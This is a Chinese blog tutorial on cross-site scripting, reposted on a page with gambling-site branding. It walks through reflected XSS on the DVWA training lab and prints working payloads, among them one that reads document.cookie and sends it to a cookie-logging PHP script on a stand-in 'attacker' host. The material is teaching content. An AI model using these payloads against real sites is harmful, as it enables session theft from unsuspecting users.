必威体育Betway必威体育官网
当前位置:首页 > IT技术

常见的Web漏洞——XSS

时间:2019-08-15 10:43:15来源:IT技术作者:seo实验室小编阅读:78次「手机版」
 

xss

XSS简介

XSS是跨站脚本攻击(Cross Site Scripting)的简写,为了不与层叠样式表混淆而改写的。此漏洞也是网站存在相当多的漏洞,仅次于sql注入,攻击者可以使用XSS来绕过访问控制,如同源策略。利用XSS可以窃取账号网页挂马,发动拒绝服务攻击,发送垃圾邮件等等。

XSS原理及分类

XSS形成的原因与SQL注入类似,也是由于程序员在开发过程中没有对用户提交的恶意数据做过滤,转义而直接输出到页面,导致用户可以利用此漏洞执行javaScript,HTML等代码,和SQL注入不同的是XSS不一定要和数据库交互。XSS没有单一的、标准的分类,一般可以分为非持久型(反射型)、持久型(存储型)。通常人们也增加了第三种——基于DOM的XSS。反射型XSS指用户提交的数据没有存储在数据库中而是直接输出到页面,不具有存储性,一次提交只能执行一次。存储型XSS指用户提交的数据存储在了数据库,用户每一次访问都会触发XSS,一次提交可以一直执行。DOM型XSS指用户可以修改浏览器中的DOM节点并显示在浏览器上,从而产生XSS。XSS的分类并不那么重要,如果非要死磕到底,这里有一篇个人觉得很不错的博客那些年我们看不懂的XSS,看不懂没关系,以后再看。

XSS利用方法

使用DVWA来学习XSS的利用方法,登录DVWA,设置安全等级为low,然后先来学习一下反射型XSS的利用方法,点击XSS(Reflected),如图,输入什么就会显示Hello+输入的内容

点击View Source查看源代码,如图

可见,源码中没有对用户提交的数据做任何处理,只是简单判断如果提交的数据是否存在且不为空,就输出Hello+提交的内容,利用此漏洞提交一个JavaScript弹窗代码:<script>alert('反射型XSS')</script>,和SQL注入类似,可以通过表单提交,也可以通过URL提交,不过通过URL提交有时需要进行url编码,如图通过表单提交的结果

构造获取cookie的JavaScript代码:<script>alert(document.cookie)</script>,如图

构造页面跳转JavaScript代码:<script>location='https://www.baidu.com'</script>,提交即可自动跳转,如图

假设这台主机同时也是攻击者的远程主机,在wamp64目录下的www目录下创建文件夹test,在test下新建cookie.php,写入如图所示代码

此时,构造获取cookie并发送到远程主机的JavaScript代码:<script>document.location='http://127.0.0.1/test/cookie.php?cookie='+document.cookie</script>,提交之后就会获取cookie并发送到远程主机,以GET方式传递给变量cookie,远程主机就会执行上图代码,创建一个cookie.txt的文件,并写入cookie,如图

提交之后会把cookie提交到远程主机,打开test目录会发现多了一个cookie.txt文件,打开可以看到cookie

XSS有个明显的缺点就是太容易被发现了,即使使用url编码把可疑字符编码也和容易让人产生怀疑

相关阅读

分享到:

栏目导航

推荐阅读

热门阅读